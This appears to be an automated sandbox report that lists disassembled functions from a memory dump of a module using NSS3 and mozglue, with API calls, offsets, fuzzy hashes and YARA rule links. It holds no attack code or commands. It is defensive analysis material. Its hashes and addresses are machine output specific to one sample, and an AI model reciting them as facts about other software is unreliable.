Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 7ed28fd83699dfc1854b904f069e42ea06f17517fa8d35ca44ef84e424845ae1
Instruction ID: 797e9fd073aa2ba8f3ad7dfb1a5c10bfffb0302940664dd7f66bdbbfb59c0406
Opcode Fuzzy Hash: 7ed28fd83699dfc1854b904f069e42ea06f17517fa8d35ca44ef84e424845ae1
Instruction Fuzzy Hash: 8F02AD319062528FDB18CF2DC558366BBBBEF62304F1E825ED8956FA91C331D989C790

Function 6CA368E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CA368FC
PR_EnterMonitor.NSS3 ref: 6CA36924

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

PR_EnterMonitor.NSS3 ref: 6CA3693E
TlsGetValue.KERNEL32 ref: 6CA36977
TlsGetValue.KERNEL32 ref: 6CA369B8
PR_ExitMonitor.NSS3 ref: 6CA36B1E
PR_ExitMonitor.NSS3 ref: 6CA36B39
TlsGetValue.KERNEL32 ref: 6CA36B62

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 72a16d314a1a3624e64bf3746e302bd2e6c425fb79045d356dfd0c10443cd971
Instruction ID: 9f6c7fe51916be3b9ea256d2e389046acf45ed1abefcc10f603c0690f1b2f9ff
Opcode Fuzzy Hash: 72a16d314a1a3624e64bf3746e302bd2e6c425fb79045d356dfd0c10443cd971
Instruction Fuzzy Hash: 4A914D74698220CBDB50DF2DC8A055DBBA2FB87308B65E659C848CBB19D771D9C2CF81

Function 6C9C09A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

memcmp.VCRUNTIME140(00000000,6C9A9B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C09D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C09F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C0A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C0A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C0A48

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: ec184fe380e2159b072eff4395732186c2de5cc5005386ada614b262392c3728
Instruction ID: c44dfb85bf0546f4b289f79a48fd3ea8e9b9c6e64a4e18c8afa6dade3c00314d
Opcode Fuzzy Hash: ec184fe380e2159b072eff4395732186c2de5cc5005386ada614b262392c3728
Instruction Fuzzy Hash: A80200B2E002099FEB008F65DC41BAB77B9FF68318F041128E915A7B52E731E955CB93

Function 6CA79D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C938637,?,?), ref: 6CA79E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C938637), ref: 6CA79ED6

Strings

database corruption, xrefs: 6CA79ECA
%s at line %d of [%.10s], xrefs: 6CA79ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA79EC0

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d93a6333f548584e199e1c6079ccbe71968eea2aebfc107807d83bb4e36142c2
Instruction ID: d68dd197d6da8e3a68bb27ca86c344c49b47017f73979a3bc4ea578d14f45c7c
Opcode Fuzzy Hash: d93a6333f548584e199e1c6079ccbe71968eea2aebfc107807d83bb4e36142c2
Instruction Fuzzy Hash: EB818235B012158FDB14CF6ACA81ADEB3F6BF48304F19852AE815ABB41D731ED85CB60

Function 6CA4C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CA4CEA5

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: db05580334cb4055d70d5648032d91a3456a5653154c38c83634a0139f4d029e
Instruction ID: 9c0fe5830601054a707c20b311a6fb14ee0777f1a2d6e8cde74fee22fde87c50
Opcode Fuzzy Hash: db05580334cb4055d70d5648032d91a3456a5653154c38c83634a0139f4d029e
Instruction Fuzzy Hash: 45716071A157018FC708CF29C484A2ABBF1FF89718F25CA2EE4A9877A1E730D955CB51

Function 6CA09EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CA09ED6

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CA09EE4

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA09F38

Part of subcall function 6CA0D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CA09F0B), ref: 6CA0D03B
Part of subcall function 6CA0D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CA0D04E
Part of subcall function 6CA0D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CA0D07B
Part of subcall function 6CA0D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CA0D08E
Part of subcall function 6CA0D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA0D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA09F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CA09F59

Part of subcall function 6CA09D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CA09C5B), ref: 6CA09D82
Part of subcall function 6CA09D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CA09C5B), ref: 6CA09DA9
Part of subcall function 6CA09D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CA09C5B), ref: 6CA09DCE
Part of subcall function 6CA09D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CA09C5B), ref: 6CA09E43

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 0d11392cc65bf67a14663f234ca31bdda1fe254f58dbfc2ec5ec98e567e713ad
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: D51108B5F042015BF7109A75BE00BABB394AF947CCF140134F90A8B740FBA2E9DD8292

Function 6CABCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABD086
PR_Malloc.NSS3(00000001), ref: 6CABD0B9
PR_Free.NSS3(?), ref: 6CABD138

Strings

>, xrefs: 6CABCF5B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 99a23aa4fbb20486d0a8e411e1de3904e5294015982e364ddabe91165f88581d
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 77D15C72F416464BEB14487D8C613EA77AB8782378F5C4329D521BBBE9E63988C3C341

Function 6CA5AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f29c450cf02d949a61c3e49dd103b71795d68198da4ce9e2220bd9d9eabb6934
Instruction ID: 1684d102c9bdd242db1e07d629c934921b0ac889a71fdbf31c68af86819f374c
Opcode Fuzzy Hash: f29c450cf02d949a61c3e49dd103b71795d68198da4ce9e2220bd9d9eabb6934
Instruction Fuzzy Hash: B2F1F271F012568FDB08DF28E8403A977F1AB4A309F59C22DD915D7B44EB7099A6CBD0

Function 6CA4DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C925001,?,00000003,00000000), ref: 6CA4DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C925001,?), ref: 6CA4E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C925001,?), ref: 6CA4E2DA

Strings

W, xrefs: 6CA4E111

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: a84dc538b29cf5f8790df2bd4fae5e375e02efb310620bc45c2c4f2311ccf685
Instruction ID: 28f5a7ff38f29193fdaaffc23455a5a8e6e6c67f1e621b624ebb4b5c86596324
Opcode Fuzzy Hash: a84dc538b29cf5f8790df2bd4fae5e375e02efb310620bc45c2c4f2311ccf685
Instruction Fuzzy Hash: D0C1FA31B44255CBDB05CF2984907AAF7B2BF86308F2CC1A9DCA99BB41D731A985C7D0

Function 6C998EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca80d6f8239fefe3f568c8d21a20313b7ab8b26cf34f800785351e46af846a
Instruction ID: 736993c7cc48a4217a964b1f7bda1e04ce76e31de7925aea69276e2e3eb5791b
Opcode Fuzzy Hash: 55ca80d6f8239fefe3f568c8d21a20313b7ab8b26cf34f800785351e46af846a
Instruction Fuzzy Hash: A811C132B012158BD70CDF24D884B5AB7A9FF4231CF08426ED8168FA41D775D896C7C9

Function 6CA70C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5714deb90db0fff3bf86507db029094516a7d04a17a9fcce552815ad9c9b7d7
Instruction ID: c077ecb4099b0d707893a738609e0f274cbdedf9471323a87923bd3ee4158f49
Opcode Fuzzy Hash: d5714deb90db0fff3bf86507db029094516a7d04a17a9fcce552815ad9c9b7d7
Instruction Fuzzy Hash: BF11E3797043059FCB10DF28C88066A7BB5FF85368F18807DD8198B701DB32E946CBA0

Function 6C9E3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 83faa3f0f8ad30dadd3ca67f15f3b35b2383850f7509b7090530a8b75e339dc2
Instruction ID: 02ccf1d2eaa1fbdd7bbf14acccc7b5886f6ace8300d89e496f3cde050fcdf282
Opcode Fuzzy Hash: 83faa3f0f8ad30dadd3ca67f15f3b35b2383850f7509b7090530a8b75e339dc2
Instruction Fuzzy Hash: A3F0BE70E0475A8BCB04DF28C45019AB7F4EF1A244F00821AEC8AAB301EB30AAC5C7C1

Function 6CA70D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 99a96545838cf955811e38bcbc1060f741a0ee3d62446304a259ba9b6672681f
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: A6E0653D21125467DB248E09C5506A97359EF81616FA98079CC599BA02E633F88387A1

Function 6C99CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed0828cf34ae022c629e295198fd2be5b80c69e2d06e7052e216bb58d58db71
Instruction ID: a29e622a2b3425d2973bf6053614b769af735cf98a920fa08416c05990833cab
Opcode Fuzzy Hash: fed0828cf34ae022c629e295198fd2be5b80c69e2d06e7052e216bb58d58db71
Instruction Fuzzy Hash: 02C04838244608CFC704DA08E499AA43BA8AB19610B040098EA028B721EB21F800CA80

Function 6C9E9840 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d0387df193c980a6d306ac7d832ea6b34546becccf2f85368f09787ec596cf
Instruction ID: 2cfb48368e3fa23a4f87366136cb77edee92add6ae1c3ecf5acd2857b07678cc
Opcode Fuzzy Hash: 29d0387df193c980a6d306ac7d832ea6b34546becccf2f85368f09787ec596cf
Instruction Fuzzy Hash:

Function 6CA05890 Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 340stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6CA058A9
PORT_ZAlloc_Util.NSS3(00000001,?,?), ref: 6CA058BC
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?), ref: 6CA058CA
strcat.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6CA058DE
